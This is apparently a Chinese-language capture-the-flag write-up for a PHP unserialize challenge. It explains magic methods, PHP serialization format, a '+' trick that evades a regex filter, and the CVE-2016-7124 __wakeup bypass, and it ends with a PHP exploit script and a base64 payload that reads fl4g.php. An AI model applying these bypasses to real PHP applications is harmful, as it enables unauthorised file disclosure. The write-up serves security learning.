[web] Web_php_unserialize

Web_php_unserialize


源碼如下:
在這裏插入圖片描述
知識點:

1、__construct():當對象創建(new)時會自動調用。但在 unserialize() 時是不會自動調用的。(構造函數)
2、__destruct():當對象被銷燬時會自動調用。(析構函數)
3、__wakeup():unserialize() 時會自動調用

4.  正則 : /[oc]:\d+:/i
	\d  是匹配一個數字
	+表示一個或多個
	i忽略大小寫(修飾符)
	[xyz]字符集合,匹配所包含的任意一個字符(x,y,z)
	正則表達式中"/"是表達式開始和結束的標記
	
5. 	preg_match 返回1 / 0
	preg_match_all 返回 0/匹配次數
如 : preg_match("/php/i", "PHP is the web scripting language of choice.")
兩個函數用法一樣

flag在 fl4g.php

想到了正則表達式繞過, 但是就卡在這了.後面也沒想到繞過正則後構造什麼payload

這恰好是這題的兩個考察點

反序列化繞過數字

"O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

----> "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"

+號繞過

這裏利用了 unserializer 的一個特性

具體可參考:

https://www.phpbug.cn/archives/32.html

https://www.guildhab.top/?p=990

繞過 __wakeup() 函數

參考:

CVE-2016-7124 https://bugs.php.net/bug.php?id=72663

創建對象之後 , 對對象的屬性檢查 , 若屬性檢查通過 , 就調用 __wakeup() 方法

若對象屬性檢查不通過 , 則會跳出 object_common2() 函數 , 不再調用 __wakeup() 函數 . 由於對象及其屬性在 object_common1() 中已經被創建 , 因此這裏對象將會被銷燬 , 從而觸發析構函數__destruct() .

因此這裏我們僅需要破壞對象屬性檢查就可以繞過 __wakeup() 函數 , 最簡單的方法就是增大對象屬性的個數 , 使其飯序列化異常 .

PHP 7 中這部分代碼被修改 ,無法再用該方式繞過 __wakeup() 方法

使反序列化的屬性值改成大於真實值即可

如正常情況下: O:4:“Demo”:1:{s:10:" Demo file";s:8:“fl4g.php”;}

改爲 O:4:“Demo”:999:{s:10:" Demo file";s:8:“fl4g.php”;}

serialize的特性

參考: https://www.cnblogs.com/webu/archive/2013/01/28/2879383.html 或者 https://blog.csdn.net/a5816138/article/details/53303299

  • 對象的序列化

對象(object)通常被序列化爲:

O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}

其中<length> 表示對象的類名<class name> 的字符串長度。<n> 表示對象中的字段1個數。
這些字段包括在對象所在類及其祖先類中用var、public、protected 和private 聲明的字段,但是不包括static 和const 聲明的靜態字段。也就是說只有實例(instance)字段。
<filed name 1>、<filed name 2>……<filed name n>表示每個字段的字段名,而<filed value 1>,<filed value 2>……<filed value n> 則表示與字段名所對應的字段值。
字段名是字符串型,序列化後格式與字符串型數據序列化後的格式相同。
字段值可以是任意類型,其序列化後的格式與其所對應的類型序列化後的格式相同。
但字段名的序列化與它們聲明的可見性是有關的,下面重點討論一下關於字段名的序列化。

對象字段名的序列化
var 和 public 聲明的字段都是公共字段,因此它們的字段名的序列化格式是相同的。公共字段的字段名按照聲明時的字段名進行序列化,但序列化後的字段名中不包括聲明時的變量前綴符號$。
protected 聲明的字段爲保護字段,在所聲明的類和該類的子類中可見,但在該類的對象實例中不可見。因
此保護字段的字段名在序列化時,字段名前面會加上 \0*\0 的前綴。這裏的 \0 表示 ASCII 碼爲 0 的字符,而不是 \0 組合。
private 聲明的字段爲私有字段,只在所聲明的類中可見,在該類的子類和該類的對象實例中均不可見。因此私有字段的字段名在序列化時,字段名前面會加上 \0<declared class name>\0 的前綴。
這裏 <declared class name> 表示的是聲明該私有字段的類的類名,而不是被序列化的對象的類名。因爲聲明該私有字段的類不一定是被序列化的對象的類,而有可能是它的祖先類。
字段名被作爲字符串序列化時,字符串值中包括根據其可見性所加的前綴。字符串長度也包括所加前綴的長度。其中\0 字符也是計算長度的。

做題時複製序列化的東西會出錯,應該和\0有關 , 00截斷了

EXP

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$test=new Demo("fl4g.php");
$a=serialize($test);
$a=str_replace('O:4','O:+4',$a);
$a=str_replace('1:{','2:{',$a);
echo base64_encode($a);
?>
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章